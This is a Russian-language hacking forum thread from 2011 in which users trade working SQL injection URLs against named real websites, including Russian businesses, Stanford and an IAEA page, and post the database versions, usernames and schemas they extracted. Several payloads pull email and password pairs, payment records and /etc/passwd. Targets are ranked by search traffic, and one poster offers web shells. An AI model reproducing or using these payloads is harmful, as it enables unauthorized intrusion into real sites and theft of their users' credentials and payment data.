SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
  1. TYPUCT

    TYPUCT New Member

    Joined:
    7 Sep 2010
    Messages:
    30
    Likes Received:
    3
    Reputations:
    0
    тИЦ CY 80
    PR 2

    http://www.bolshie.ru/help.php?id=-4+union+select+1,2,3,4,version%28%29--

    5.0.90-log
     
  2. SergioRezza

    SergioRezza Member

    Joined:
    9 Jun 2011
    Messages:
    81
    Likes Received:
    7
    Reputations:
    5
    http://www.elportal.ru/stat.php?id=-62+union+select+version()--

    тИЦ 20

    5.0.85-log

    _________________________________

    http://www.facebookcounter.ru/stat.php?id=-1+union+select+1,2,3,version(),5,6,7,8,9--

    5.0.91

    ________________________________

    http://www.skladobzor.ru/stat.php?id=-23+union+select+version()--

    тИЦ 10
    5.0.85-log

    _______________________________

    http://www.pogruzchikservice.ru/index.php?t=stat&id=-4+union+select+version()--

    тИЦ: 60

    5.0.85-log
    ______________________________

    http://www.itkt.ru/prod.php?id=-40+union+select+version()--

    тИЦ: 40

    4.1.25-log
     
    #13942 SergioRezza, 18 Jun 2011
    Last edited: 18 Jun 2011
    1 person likes this.
  3. Atarvala

    Atarvala New Member

    Joined:
    22 Jun 2010
    Messages:
    0
    Likes Received:
    1
    Reputations:
    0
    http://penzlyk.com/biography.php?arts=10+and+1=0+union+select+concat_ws(0x3a3a3a,user(),database(),version())+--+

    kravchluba_baza@localhost:::kravchluba_penzlyk:::5.0.67-community
     
  4. kroŧ

    kroŧ Member

    Joined:
    19 May 2010
    Messages:
    129
    Likes Received:
    33
    Reputations:
    8
    http://www.plantdesignsolutions.com/news.php?id=12+uNiOn+all+seLeCT+1,2,3,COnCat_WS(0x3a,version(),user(),database()),5,6,7,8

    5.0.91-log: : [email protected]: : plantdesignusr

    http://www.ibis.dk/presse/showarticle.php?id=-4256++UnIoN+AlL+sElEcT+CONCAT_WS(CHAR(32,58,32),user(),database(),version())--

    @localhost : ibis_web : 5.0.22-Debian_0ubuntu6.06.15-log
     
    #13944 kroŧ, 18 Jun 2011
    Last edited: 18 Jun 2011
    1 person likes this.
  5. winstrool

    winstrool ~~*MasterBlind*~~

    Joined:
    6 Mar 2007
    Messages:
    1,412
    Likes Received:
    904
    Reputations:
    863
    вот старьевщина у меня заволялась))

    тиц 30
    5.0.91-community:captains_crush@localhost:captains_crush

    pr2 тиц 20
    medium-plus@localhost:5.0.77:medium-plus

    pr4 тиц 140
    itrexru@localhost:5.0.77:itrex_db

    gumata_gumata@localhost:5.0.92-community:gumata_gumata

    pr6 тиц 190
    lab130@localhost:5.0.91-log:catalogue
    FILE_PRIV=Y

    pr4
    [email protected]:5.0.27-standard:ditcus

    тиц:160 пр4
    nukri2@localhost:4.1.18-standard:db_nukri2
    уников в день 1500

    pr5
    cistudies@localhost:5.1.56-rs:cistudies

    pr1
    ycolasan_biz@localhost:5.1.54-log:ycolasan_biz.

    pr5
    [email protected]:aimstar_bwcccms:5.1.24-rc-log

    pr3 тиц 30
    zorro_svvm@localhost:zorro_svvm:5.0.51a-24+lenny4-log
     
    _________________________
    #13945 winstrool, 18 Jun 2011
    Last edited: 19 Jun 2011
    4 people like this.
  6. Cennarios

    Cennarios Elder - Старейшина

    Joined:
    13 Jul 2008
    Messages:
    378
    Likes Received:
    179
    Reputations:
    108
    Срослось! =)

    http://www.iaea.org/nael/page.php?page=2125&recordID=-28/**//*!union*//**//*!select*//**/1,user%28%29,3,4,5,6,7,8,9,10--+
     
    3 people like this.
  7. GroM88

    GroM88 Elder - Старейшина

    Joined:
    24 Oct 2007
    Messages:
    464
    Likes Received:
    62
    Reputations:
    26
    http://stepstation.com/posts.php?category=-11+union+select+1,concat_ws(0x3a,email,password),3,4,5+from+users--
    ---
    http://www.estatefiesolana.it/index.php?id=-597+union+select+1,concat_ws(0x3a,user,password),3,4,5+from+mysql.user--
     
    #13947 GroM88, 19 Jun 2011
    Last edited: 19 Jun 2011
  8. winstrool

    winstrool ~~*MasterBlind*~~

    Joined:
    6 Mar 2007
    Messages:
    1,412
    Likes Received:
    904
    Reputations:
    863
    тиц 50
    talasm01@localhost:5.1.56-log:wwwtalasmru_talasm01

    тиц 10 pr2
    akademiach@localhost:5.0.26-lk-log:akademiach

    тиц 20
    zubov@localhost:zubov517:5.0.67

    тиц 40 pr3
    itktru99_itkt@localhost:4.1.25-log:itktru99_itktru
     
    _________________________
    1 person likes this.
  9. mix0x0

    mix0x0 Active Member

    Joined:
    1 Nov 2010
    Messages:
    363
    Likes Received:
    189
    Reputations:
    92
    Code:
    http://topnexia.ru/arcticles.php?id=-41+union+select+1,version%28%29,3,4,5+--+
    version: 5.0.26-log
    database: allesistgu_nexia
    user: allesistgu_nexia@localhost

    тИЦ: 10 | pr: 1

    Code:
    http://studyincors.ru/country.php?id=-1+union+Select+1,concat_ws%280x3a3a,version%28%29,database%28%29,user%28%29%29,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19+--+
    version: 5.0.77-log
    database: azanova_edu
    user: [email protected]

    тИЦ: 0 | pr: 0

    Code:
    http://www.earthburg.ru/earthadm/php/process.php?lang=r&c1=10&id=-1+union+select+concat_ws%280x3a3a,version%28%29,database%28%29,user%28%29%29,2,3+--+
    version: 5.0.92-log
    database: earthbu6_earthburgnew
    user: earthbu6_me@localhost

    тИЦ: 50 | pr: 3

    Code:
    http://eti.stankin.ru/index.php?table=grcms_post_menu&id=-1+union+select+1,2,3,4,concat_ws%280x3a,version%28%29,database%28%29,user%28%29%29+--+
    version: 5.1.28-rc
    database: eti
    user: eti@localhost

    тИЦ: 10 | pr: 2
     
  10. AC//DC

    AC//DC Active Member

    Joined:
    28 Jul 2009
    Messages:
    419
    Likes Received:
    147
    Reputations:
    88
    Злоупотребление алкоголем опасно для здоровья!

    http://tatspirtprom.ru/production/catalog/balzami/balzami_30.html?template=-18%20and%201=2%20union%20select%201,2,3,4,concat_ws(0x3a,@@version,user(),database(),@@version_compile_os),6,7--

    5.0.83 u01586_tsp_ru@localhost u01586_tsp_ru portbld-freebsd6.4
     
  11. SergioRezza

    SergioRezza Member

    Joined:
    9 Jun 2011
    Messages:
    81
    Likes Received:
    7
    Reputations:
    5
    http://www.cmbc.ru/process.php?ID=1%27%20AND%201%3D2+UNION+SELECT+version(),2,3+%23

    тИЦ 110
    PR 3
     
  12. GroM88

    GroM88 Elder - Старейшина

    Joined:
    24 Oct 2007
    Messages:
    464
    Likes Received:
    62
    Reputations:
    26
    http://in-green.com.ua/product_info.php?products_id=1124+and+0=1+union+select+version()--
    5.0.51a-24+lenny4-log
    тИЦ 50
    PR 3
    //Хеши и пароли запрещены!
     
    #13952 GroM88, 20 Jun 2011
    Last edited by a moderator: 21 Jun 2011
  13. vaddd

    vaddd Member

    Joined:
    6 Jan 2009
    Messages:
    140
    Likes Received:
    19
    Reputations:
    9
    http://www.modflame.com/store.php?rid=-1+union+select+1,2,group_concat(email,':',password),4,5+from+users;+--+
     
  14. SergioRezza

    SergioRezza Member

    Joined:
    9 Jun 2011
    Messages:
    81
    Likes Received:
    7
    Reputations:
    5
    http://www.tennis-piter.ru/ban.php?id=-116+union+select+1,2,3,4,version()--

    PR: 3
    ТИЦ: 210
     
  15. kroŧ

    kroŧ Member

    Joined:
    19 May 2010
    Messages:
    129
    Likes Received:
    33
    Reputations:
    8
    ip: 38.101.219.98
    сайты на одном ip,
    Code:
    http://lurkingnoob.com/file.php?id=-76+UnIoN+ALL+SeLeCt+1,2,3,concat_ws(0x3a,@@version,user(),database(),@@version_compile_os),5,6,7
    5.1.37-1ubuntu5.4-log:broorho@localhost:ringtones:debian-linux-gnu
    
    http://omfgif.com/gif.php?id=-9999999+AND+1=0+UNION+SELECT+0,1,2,3,4,5,6,7,8,9,load_file(0x2f6574632f706173737764),11,12--
    
    http://mediafetcher.com/article_full.php?id=888888888888888+UnIoN+ALL+SeLeCt+1,2,3,4,5,concat_ws(0x3a,@@version,user(),database(),@@version_compile_os),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28
    5.1.37-1ubuntu5-log:uselessj_ohshitw@localhost:uselessj_uj2006:debian-linux-gnu
    
    http://swagster.com/img.php?id=-242215+UnIoN+ALL+SeLeCt+1,2,3,4,5,6,7,version(),9,10,11,12
     5.1.37-1ubuntu5.1-log
    
    http://www.broorho.com/image.php?uid=-13381+UNION+SELECT+1,version(),3,4,5
    5.1.37-1ubuntu5-log
    
    
    TABLES
     
    1 person likes this.
  16. foozzi

    foozzi Member

    Joined:
    13 Apr 2010
    Messages:
    195
    Likes Received:
    12
    Reputations:
    5
    Яндекс тИЦ 3400
    Google PageRank 9/10

    Code:
    http://www.stanford.edu/group/spatialhistory/cgi-bin/site/page.php?id=-83+union+select+1,unhex(hex(table_name)),3+from+information_schema.tables+limit+41,9+--+ 


    Яндекс тИЦ 10
    Google PageRank 5/10

    Code:
    http://www.bispublishers.nl/bookpage.php?id=-142+union+select+1,2,concat_ws(0x3a,name,password),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46+from+users+--+
     
    #13956 foozzi, 21 Jun 2011
    Last edited: 21 Jun 2011
    2 people like this.
  17. SergioRezza

    SergioRezza Member

    Joined:
    9 Jun 2011
    Messages:
    81
    Likes Received:
    7
    Reputations:
    5
    http://www.apkhleb.ru/rus/press/news/?id=-1520+union+select+1,2,3,concat_ws(0x3a,id,login,pass,email),5,6,7,8+from+user+where+id=2--

    PR: 4
    ТИЦ: 450


    http://www.konditerprom.ru/list/list.php?cid=-1+union+select+1,version()--

    PR: 4
    ТИЦ: 400


    http://foodsmarket.info/wizard/view_unit.php?unit_num=1227%20%26%26%201%3D2%20UNION+SELECT+1,2,version(),4,5,6,7+%23

    PR: 5
    ТИЦ: 400


    http://www.agromage.com/stat_id.php?id=782%27%20AND%201%3D2%20UNION%20SELECT%201%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2C12%2C13%2C14%2C15%20%23

    PR: 5
    ТИЦ: 400


    http://www.meatmarket.info/statinter.php?id=220%20%26%26%201%3D2+UNION+SELECT+1,2,version(),4,5,6,7,8,9,10+%23

    PR: 4
    ТИЦ: 240


    http://www.yuk.ru/site/index/news.php?id=10%27%20AND%201%3D2+UNION+SELECT+1,2,version(),4,5,6,7,8,9,10+%23

    PR: 2
    ТИЦ: 180


    я ни одну скьюлю не крутил, возможно где-то сможете залить шелы)))
     
    #13957 SergioRezza, 21 Jun 2011
    Last edited: 22 Jun 2011
  18. vaddd

    vaddd Member

    Joined:
    6 Jan 2009
    Messages:
    140
    Likes Received:
    19
    Reputations:
    9
    http://henryyanart.com/product.php?id=-100+union+select+1,2,3,4,5,6,7,8,9,10,group_concat(id,txn_id,payment_amount,payment_currency,item_name,receiver_email,payer_email)+from+purchases
     
  19. vaddd

    vaddd Member

    Joined:
    6 Jan 2009
    Messages:
    140
    Likes Received:
    19
    Reputations:
    9
    http://floridashorestruckcenter.com/store/product.php?d=-100+union+select+1,2,3,4,5,6,7,group_concat(table_name)+from+information_schema.tables+where+table_schema!=0x696e666f726d6174696f6e5f736368656d61
     
    1 person likes this.
  20. SergioRezza

    SergioRezza Member

    Joined:
    9 Jun 2011
    Messages:
    81
    Likes Received:
    7
    Reputations:
    5
    http://www.vkf.ru/index.php?action=prod&type=detail&id=-391+union+select+1,2,3,4,version(),6,7,8,9,10,11--

    PR: 3
    ТИЦ: 170


    http://www.1may.ru/news.php?p=27\'&n=35+and+1=2+union+select+version(),2,3--

    PR: 3
    ТИЦ: 130


    http://www.ukrkonditer.kiev.ua/commerce/package_page.php?packid=89%20%26%26%201%3D2+UNION+SELECT+1,version(),3,4,5,6,7,8%23

    PR: 4
    ТИЦ: 200


    http://www.dverifortrez.ru/view_item.php?id=-294+union+select+1,2,3,4,version(),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30--

    PR: 4
    ТИЦ: 600


    http://www.lumstyle.ru/company/news.htm?news_id=-38+union+select+1,2,3,4,version(),6,7--

    PR: 0
    ТИЦ: 450


    нужны шеллы? в лс
     
    #13960 SergioRezza, 22 Jun 2011
    Last edited: 22 Jun 2011
Thread Status:
Not open for further replies.